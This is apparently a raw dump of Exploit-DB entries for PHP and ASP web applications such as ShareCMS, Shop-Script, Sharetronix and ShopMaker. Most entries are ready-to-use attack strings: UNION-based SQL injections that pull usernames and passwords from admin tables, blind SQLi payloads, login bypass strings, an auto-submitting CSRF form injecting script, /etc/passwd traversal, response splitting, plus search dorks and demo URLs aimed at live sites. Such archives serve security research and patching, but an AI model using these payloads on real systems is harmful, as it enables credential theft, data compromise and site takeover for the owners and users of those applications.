deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5925
Description: ShareCMS 0.1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-06-24
Author: CWH Underground

Exploit:
==============================================================
  ShareCMS 0.1 Multiple Remote SQL Injection Vulnerabilities
==============================================================
 
  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 24 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : ShareCMS 
 VERSION     : 0.1 Beta
 VENDOR      : N/A
 DOWNLOAD    : http://downloads.sourceforge.net/sharecms
#####################################################

--- Remote SQL Injection ---

----------
 Exploits
----------

[+] http://[Target]/[sharecms_path]/event_info.php?eventID[SQL Injection]
[+] http://[Target]/[sharecms_path]/list_user.php?userID=[SQL Injection]

--------------
 POC Exploits
--------------

[+] http://192.168.24.25/sharecms/event_info.php?eventID=-9999/**/UNION/**/SELECT/**/1,2,3,username,5,6,7,8,9,10,11,12,password/**/FROM/**/user--
[+] http://192.168.24.25/sharecms/list_user.php?userID=-9999/**/UNION/**/SELECT/**/1,2,3,4,5,6,concat(username,0x3a,password),8,9,10,11/**/FROM/**/user--


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-24]
Exploit-DB #43080
Description: Shareet - 'photo' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Shareet - Photo Sharing Social Network - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: https://odallated.com/
# Software Link: https://www.codester.com/items/4910/shareet-photo-sharing-social-network
# Demo: https://odallated.com/shareet/demo/
# Version: N/A
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15979
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/?photo=[SQL]
# 
# Parameter: photo (GET)
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 AND time-based blind
#     Payload: photo=saSihSiRf1E' AND SLEEP(5) AND 'DUqs'='DUqs
# 
# Etc..
# # # # #
Exploit-DB #44771
Description: Sharetronix CMS 3.6.2 - Cross-Site Request Forgery / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-05-27
Author: Hesam Bazvand

Exploit:
 # Exploit Title: Sharetronix CMS XSRF Vulnerability
# Version : 3.6.2
# Exploit Author: Hesam Bazvand
# Software Link: http://sharetronix.ir/wp-content/uploads/2014/10/gold.zip
# Tested on: Windows 10 / Kali Linux
# Category: WebApps
# Dork : Use You Mind :D
# Email : Black.king066@gmail.com
# Video : https://youtu.be/S1r0tmXEUec


<body onload="document.fm.submit()">
<form method="post" name="fm"  action="http://localhost/share/admin/termsofuse">
<input type="hidden" name="tos_enabled" value="1" />
<input type="hidden" name="tos_content"value="<script>alert(1);</script>" />
</form>
</body>
Exploit-DB #37122
Description: Shawn Bradley PHP Volunteer Management 1.0.2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-04-28
Author: eidelweiss

Exploit:
source: https://www.securityfocus.com/bid/53301/info

PHP Volunteer Management is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP Volunteer Management 1.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/mods/messages/data/get_messages.php?id=[SQLi]&take=10&skip=0&page=1&pageSize=10
Exploit-DB #5895
Description: shibby shop 2.2 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-06-22
Author: KnocKout

Exploit:
Title: sHibby sHop v2.2 <= Remote (SQL/Update) Multiple Vulnerability

================================================================

[+] Author : KnocKout
[+] Special Thankz : Dr.Kacak
[+] System 0VerfL0verZ

=================================================================

Script : sHibby sHop
Verz: 2.2
Download : http://aspindir.com/goster/4476

 

SQL attack ;

http://target.com/path/default.asp?git=4&sayfa=-3+union+all+select+0,copy,keyword+from+ayarlar

Tables;

yasakli
ustmenu
urun_yorum
urun
ureticiler
tema
site_gel
siparis
sayfa
say_site
say_ip
say_hit
online
kategori
banner
ayarlar

 ------------
 
 Update file ( Direct Access )

 http://localsite.com/path/upgrade.asp
 

And default Database file

http://target.com/path/Db/urun.mdb

###############################################################

# milw0rm.com [2008-06-22]
Exploit-DB #46112
Description: Shield CMS 2.2 - 'email' SQL Injection
Type: webapps
Platform: php
Date: 2019-01-10
Author: Ihsan Sencan

Exploit:
# Exploit Title: SHIELD - Freelancer Content Management System 2.2 - SQL Injection / CSRF
# Dork: N/A
# Date: 2019-01-10
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://ezcode.pt/
# Software Link: https://codecanyon.net/item/shield-content-management-system/18833498
# Version: 2.2
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# http://localhost/[PATH]/shield/forgot.php
# 

POST /[PATH]/shield/forgot.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 749
Cookie: PHPSESSID=84955lhp1purfrvdrvhs7a00q2; EU_COOKIE_LAW_CONSENT=true
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
_csrf=0089a3c48ac05616e608ef7e74c98411&email=%27%7c%7c%28%53%45%4c%45%43%54%20%27%62%5a%74%57%27%20%46%52%4f%4d%20%44%55%41%4c%20%57%48%45%52%45%20%31%31%3d%31%31%20%41%4e%44%20%28%53%45%4c%45%43%54%20%31%31%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%31%3d%31%31%2c%31%29%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29%29%7c%7c%27&submit=Reset%2B[CREDENTIAL_REDACTED]
HTTP/1.1 200 OK
Date: Wed, 09 Jan 2019 23:34:20 GMT
Server: Apache
X-Powered-By: PHP/5.5.38
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
Exploit-DB #41111
Description: Shiksha Educational Website Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-18
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection + Authentication Bypass
# Date: 18.01.2017
# Vendor Homepage: http://www.scriptgiant.com/
# Script Name: Shiksha Educational Website Script
# Script Buy Now: http://www.popularclones.com/products/Shiksha-Educational
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Authentication Bypass :
# http://localhost/[PATH]/admin/ and set Username:'or''=' and Password to 'or''=' and hit enter.
# SQL Injection/Exploit :
# http://localhost/[PATH]/admin/member.regform.php?user_id=[SQL]
# http://localhost/[PATH]/admin/subject_add.php?id=[SQL]
# E.t.c.... Other files, too. SQL There are security vulnerabilities.
# # # # #
Exploit-DB #17018
Description: Shimbi CMS - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-03-21
Author: p0pc0rn

Exploit:
Title  : Shimbi CMS Vulnerable to Multiple SQL Injections
Vendor : http://www.shimbi.in/
Found by : p0pc0rn
Dork   : intext:"Powered By Shimbi CMS" 

SQL Injection in details.php parameter
---------------------------------------
http://site.com/details.php?id=[sql]

POC 
--- 
http://site.com/details.php?id=112 UNION SELECT 1,2,3,4,version(),6,7,8

SQL Injection in faq_details.php parameter
---------------------------------------
http://site.com/faq_details.php?flag=q&id=[sql]

POC
---
http://site.com/faq_details.php?flag=q&id=1'

SQL Injection in blog/addComment.php parameter
---------------------------------------
http://site.com/blog/addComment.php?topic_id=[sql]

POC
---
http://site.com/blog/addComment.php?stat=stat&type=t&category_id=9&topic_id=-122/**/UNION/**/SELECT/**/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16--

thanks,
-p0pc0rn-
Exploit-DB #44722
Description: Shipping System CMS 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2018-05-23
Author: AkkuS

Exploit:
# Exploit Title: Shipping System CMS 1.0 - SQL Injection
# Dork: N/A
# Date: 2018-05-23
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor : Wecodex Solutions
# Vendor Homepage: https://www.wecodex.com/item/view/shipping-system-by-parcel-in-php-and-mysql/4
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# PoC : SQLi :
# Demo : https://Target/demos/sendpack/admin/

https://Target/demos/sendpack/admin/index.php?action=processlogin

POST /demos/sendpack/admin/index.php?action=processlogin HTTP/1.1
Host: www.wecodex.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://Target/demos/sendpack/admin/
Cookie: PHPSESSID=6fabn4skieu59mgjn63i4d38u0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
username=admin&[CREDENTIAL_REDACTED]


# Vulnerable Payload :
# Parameter: username (POST)
# Type: boolean-based blind
# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
# Payload: 

username=admin") RLIKE (SELECT (CASE WHEN (5737=5737) THEN
0x61646d696e ELSE 0x28 END)) AND ("YAQS"="YAQS&[CREDENTIAL_REDACTED]
Exploit-DB #26628
Description: ShockBoard 3.0/4.0 - 'Offset' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-28
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15592/info

ShockBoard is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

/topic.php?offset=[SQL]
Exploit-DB #14876
Description: Shop a la Cart - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-09-02
Author: Ariko-Security

Exploit:
  # Exploit Title: [Multiple vulnerabilities in SHOP A LA CART]
# Date: [03.09.2010]
# Author: [Ariko-Security]
# Software Link: [http://shopalacart.com]
# Version: [ALL]
# Tested on: [ALL]
# CVE : [n/a]

# Ariko-Security: Security Audits , Audyt bezpieczeństwa
# Advisory: 728/2010

============ { Ariko-Security - Advisory #1/9/2010 } =============

Multiple vulnerabilities in SHOP A LA CART

Vendor's Description of Software:
# http://shopalacart.com/shopping_cart_demo.php

Dork:
# N/A

Application Info:
# Name: SHOP A LA CART
# ALL versions

Vulnerability Info:
# Type: multiple SQL injections, multiple XSS, multiple iFrame 
injections, multiple link injections,

Time Table:
# 20/08/2010 - Vendor notified.

Fix:
# n/a

Input passed via the "xGrp" parameter to catgrp.php is not properly
sanitised before being used in a SQL query.
Input passed via the "xCat"  parameter to catmain.php and prodmain.php 
is not properly
sanitised before being used in a SQL query.


Input passed to the "nLoginUser" ,"nCustPhone" parameters in 
account_signup.php is not properly
sanitised before being returned to the user.

Input passed to the "nReferrer" ,"Zipcode" parameters in cart.php is not 
properly
sanitised before being returned to the user.

Input passed to the "nPhone" ,"nMailName", "nFullName", "nEmail", 
"nComments" parameters in popup_contact.php
is not properly sanitised before being returned to the user.

Input passed to the "nEmail" parameter in process_email.php
is not properly sanitised before being returned to the user.


Input passed to the "xRef" parameter in customer_login.php
is not properly sanitised before being returned to the user.


Input passed to the "xProd", "xCat" parameter in prodmain.php
is not properly sanitised before being returned to the user.

Input passed to the "nSearch" parameter in search.php
is not properly sanitised before being returned to the user.


Solution:
# Input validation of all vulnerable parameters should be corrected.

Vulnerability samples:
# http://[site]/cart.php?nReferrer=';</script><script>alert(XSS)</script>
# http://[site]/catgrp.php?xGrp=[SQLi]
# http://[site]/account_signup.php [POST] 
nUpdate=1&nCustName=&nCustEmail=test%40altoromutual.com&nEmailOptOut=1&nCustPhone=%22%27%3E%3CA+HREF

%3D%22%2AAriko-Security.html%22%3EInjection%3C%2FA%3E&nLoginUser=&nLoginPass=&.x=0&.y=0

Credit:
# Discoverd By:  Ariko-Security 2010
# Advisory: 
http://advisories.ariko-security.com/september/audyt_bezpieczenstwa_729.html 


-- 
Ariko-Secuirty
Exploit-DB #29640
Description: Shop Kit Plus - 'StyleCSS.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-02-23
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/22697/info

Shop Kit Plus is prone to a local file-include vulnerability because it fails to adequately sanitize user-supplied data.

An attacker can exploit this vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks.

http://www.example.com/shopkitplus/enc/stylecss.php?changetheme=../../../../../../../../../../../../etc/passwd
Exploit-DB #7874
Description: SHOP-INET 4 - 'grid' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-26
Author: FeDeReR

Exploit:
# SHOP-INET V.4 Exploit
# Author: FeDeReR
# Home : Hacking.ge & darkc0de.com
# Email : FeDeReR@avoe.ge

#############################################

Exploit : target.com/show_cat2.php?grid=-1+union+select+concat_ws(char(58),username,password)+from+admin

Example :http://shop-inet.ru/shop/show_cat2.php?grid=-1+union+select+concat_ws(char(58),username,password)+from+admin

Admin CP: target/admin/

d0rk: inurl:show_cat2.php?grid=

official site: http://shop-inet.ru/

############################################

# milw0rm.com [2009-01-26]
Exploit-DB #25663
Description: Shop-Script - categoryId SQL Injection
Type: webapps
Platform: php
Date: 2005-05-16
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13633/info

Shop-Script is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?categoryID='[SQL inj]
Exploit-DB #28845
Description: Shop-Script - Multiple HTTP Response Splitting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-10-23
Author: Debasis Mohanty

Exploit:
source: https://www.securityfocus.com/bid/20685/info

Shop-Script is prone to multiple HTTP response-splitting vulnerabilities because the application fails to properly sanitize user-supplied input. 

A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached, or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust.

[Request Header] 

POST /premium/index.php?links_exchange=%0d%0aFakeHeader:Fake_Custom_Header 
HTTP/1.0 
Accept: */* 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET 
CLR 1.1.4322) 
Host: www.example.comhttp://www.shop-script-demo.com/
Content-Length: 18 
Cookie: PHPSESSID=e0d1c748db4ce6fa7886403e65458aaa 
Connection: Close 
Pragma: no-cache 

current_currency=1 


[Response Header] 

HTTP/1.1 302 Found 
Date: Mon, 16 Oct 2006 17:39:57 GMT 
Server: Apache 
Expires: Thu, 19 Nov 1981 08:52:00 GMT 
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, 
pre-check=0 
Pragma: no-cache 
Location: index.php?links_exchange= 
FakeHeader:Fake_Custom_Header <= [Custome response 
injected by the attacker] 
Content-Length: 0 
Connection: close 
Content-Type: text/html
Exploit-DB #25664
Description: Shop-Script - ProductID SQL Injection
Type: webapps
Platform: php
Date: 2005-05-16
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13635/info

Shop-Script is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?mark=5&productID='[SQL inj]
http://www.example.com/index.php?productID='[SQL inj]
Exploit-DB #4855
Description: Shop-Script 2.0 - 'index.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2008-01-06
Author: Fisher762

Exploit:
#########################################################################
        Shop-Script 2.0 index.php Remote File Disclosure Vuln

#########################################################################
Script:Shop-Script 2.0

Download : ??

AUTHOR :Fisher762 From S.M.A TEAM

Contact Me: fisher.762@hotmail.com

HOME : http://www.v99x.com/vb


DorKs :" Shop-Script 2.0. All rights reserved"


###########################################################################
## EXPLOIT :
http://site.com/Script/index.php?aux_page=../../../../../etc/passwd

###########################################################################

############################################################################

## GREETZ T0 : Fisher762 ,Abo Hmza ,Ev!l3-K!ll3r,HaCk-TrOjAn And all S.M.A TEAM

########################################################################### 

# milw0rm.com [2008-01-06]
Exploit-DB #6114
Description: ShopCartDx 4.30 - 'pid' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-21
Author: Cr@zy_King

Exploit:
ShopcartDX Remote Sql Injection All Version

By Cr@zy_King / sqL Lov3r'Z Crew Co. 2008

Downlod: http://webscripts.softpedia.com/script/E-Commerce/Shopping-Carts/ShopcartDX-1-1421.html

Sql :

http://localhost/patch/product_detail.php?cid=9&pid=-1 UNION SELECT 1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,16/*

Greatz : aLL My Friend'Z and str0ke


========================================From Turkey============================================= 

# milw0rm.com [2008-07-21]
Exploit-DB #11341
Description: ShopEx Single 4.5.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-02-06
Author: cp77fk4r

Exploit:
# Exploit Title: ShopEx <= Single V4.5.1 Multiple Vulnerabilities
# Date: 30/01/10
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com| www.DigitalWhisper.co.il
# Software Link: http://www.shopex.cn | http://www.shopex.cn/download/
# Version: <= Single V4.5.1
# Tested on: PHP
#
##[Cross Site Scripting]
(Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites. Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it)
http://server/?gOo=ZXJyb3IuZHd0&errinfo=PHNjcmlwdD5hbGVydCgiWFNTRUQiKTwvc2NyaXB0Pg==
#
#
##[Directory Listing]
http://server/syssite/home/
http://server/icons/
http://server/syssite/dfiles
http://server/templates/
http://server/syssite/shopadmin/images/
http://server/syssite/shopadmin/user_guide/
#
#
##[Open Redirection:]
(OWASP: An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.)
The admin login page (http://server/syssite/shopadmin/login.php) redirect the none-authentication users
the the "document.referrer" page. The attacker can exploit the mechanism to trick the victim like that:
#
#
HTTP REQUEST:
GET /syssite/shopadmin/login.php HTTP/1.1
Host: [SERVER]
Referer: http://www.PHISHING.com
#
the user will be sent to the original page but will be redirected to the PHISHING site.
#
the vulnerable code is: (in: http://server/syssite/shopadmin/login.php)
#

#
#
##[Unprotected Install Proccess:]
http://server/syssite/install/home.htm
#
[e0f]
Exploit-DB #6799
Description: ShopMaker CMS 1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-21
Author: Hussin X

Exploit:
|___________________________________________________|
|
| ShopMaker v1.0 (product.php id) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                                                                     |
|
| script : http://shop.maker.ir
|
| DorK   : "ShopMaker v1.0"
|___________________________________________________|

Exploit:
________



www.[target].com/Script/product.php?id=-54+union+select+1,concat(email,0x3e,password),3,4+from+admin--


DemO :


http://shop.maker.ir/shop/product.php?id=-54+union+select+1,concat(email,0x3e,password),3,4+from+admin--


____________________________( Greetz )_________________________________
|
|   All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi 

# milw0rm.com [2008-10-21]